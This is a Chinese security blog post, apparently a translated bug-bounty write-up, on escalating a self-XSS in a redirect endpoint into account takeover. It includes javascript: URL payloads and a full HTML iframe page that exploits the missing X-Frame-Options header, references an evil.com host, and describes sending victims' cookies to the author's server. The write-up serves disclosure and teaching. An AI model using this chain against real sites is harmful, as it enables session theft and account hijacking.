如何使用Self XSS导致账户接管

  • A+
所属分类:安全文章
来自:Khan安全团队


账户接管功能


        你好,我已经很久没有分享我最近的研究/发现了,但在这篇报道中,我将分享我发现的一个漏洞,这对我来说相当有趣,可能会改变你对 "SELF XSS "的看法。



        我通常,当我真的要寻找漏洞时,我会手动检查任何应用程序,如开放重定向或XSS,以找到其他黑客的非凡工具可能会忽略的参数


        所以,当我通过很多不同的终端和模糊通过很多不同的参数,我没有找到任何我感兴趣的东西,因为该程序是一个4年的老程序,经过很多专业的研究人员测试,但我不知道为什么我真的想找到一个漏洞在这个目标,因为我的朋友Kartik Sharma发现了一个非常酷的存储XSS在这个目标上,这导致大规模的帐户接管ps:(拍摄他的DM和必须要求他写关于它的文章


        让我们回到正题,在这个目标上来回花了很多天时间,我终于遇到了一个看起来像https://redacted.com/redirect/<url-path>的端点,这是一个简单的开放重定向,等等,甚至不是开放重定向,因为它给出了这样的警告信息


如何使用Self XSS导致账户接管


现在,出于好奇,我把端点从https://redacted.com/redirect/javascript:alert(1)改成了https://redacted.com/redirect/javascript:alert(1),然后按了继续选项,看看会发生什么,然后弹出了alert(1),如下图所示


如何使用Self XSS导致账户接管


具有挑战性的方面

但是,这里是具有挑战性的一面。为了确定,我复制了端点是https://redacted.com/redirect/javascript:alert(1),然后在不同的浏览器中打开,继续到网站的选项消失了,如下图所示


如何使用Self XSS导致账户接管


导致从这一点上看,0影响漏洞,甚至连合法的自XSS都没有。如果你不明白这种行为,让我来解释一下那些没有得到它的人,这是因为regex正在检测特殊字符,如" ' > * />,并删除继续网站选项,一旦它检测到任何特殊字符后/#redirect,这意味着我来到了像死胡同的情况。


现在,利用的部分是检查端点,即:https://redacted.com/redirect/javascript:alert(1)是否启用了X-FRAME OPTIONS,我很幸运,是的,这个端点没有启用X-FRAME OPTIONS,这意味着我可以写一个js代码,并将其托管在我的网站上,并进一步利用这个漏洞 :D 没有得到它?让我简单解释一下。


所以,我是这样做的 写了这个javascript代码,并将端点托管在我的服务器上的iframe中,由我的javascript代码控制


html<html>  <head>  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />        <title>Changing Pages... Please Wait</title>    </head>    <body>        <iframe src="" name="frame" id="frame" width="100%" height="100%"></iframe>        <script type="text/javascript">            var frames = Array('https://redacted.com/#/redirect/https://@evil.com\@www.redacted.com', 3,                'https://redacted.com/#/redirect/javascript:alert(document.domain)', 37);            var i = 0, len = frames.length;            function ChangeSrc(){            document.getElementById('frame').src = frames[i++];            if (i >= len) return; // no more changing            setTimeout('ChangeSrc()', (frames[i++]*1000));            }            window.onload = ChangeSrc();</script>    </body></html>


所以基本上,这个漏洞现在会利用缺失的X-Frame-Options头,允许任何页面加载到iframe中。一旦页面被加载到iframe中,我们调用ChangeSrc()函数,将有效的URL https://redacted.com/#/redirect/https:////@www.redacted.com替换为一个易受攻击的URL,即https://redacted.com/#/redirect/javascript:alert(document.cookie)。由于不涉及服务器端的交互,并且URL在页面加载后被替换,当点击继续按钮时,我们可以看到XSS有效载荷与用户的cookie一起被发射(如下图所示)。


如何使用Self XSS导致账户接管


现在,这创造了一个影响的方式,这意味着当一个认证用户访问我的托管服务器,他/她的认证cookie将弹出,并将被发送到我的服务器,这意味着帐户接管redacted.com的任何用户。


如何使用Self XSS导致账户接管


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持如何使用Self XSS导致账户接管

“如侵权请私聊公众号删文”



扫描关注LemonSec

如何使用Self XSS导致账户接管

觉得不错点个“赞”、“在看”哦如何使用Self XSS导致账户接管


本文始发于微信公众号(LemonSec):如何使用Self XSS导致账户接管

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: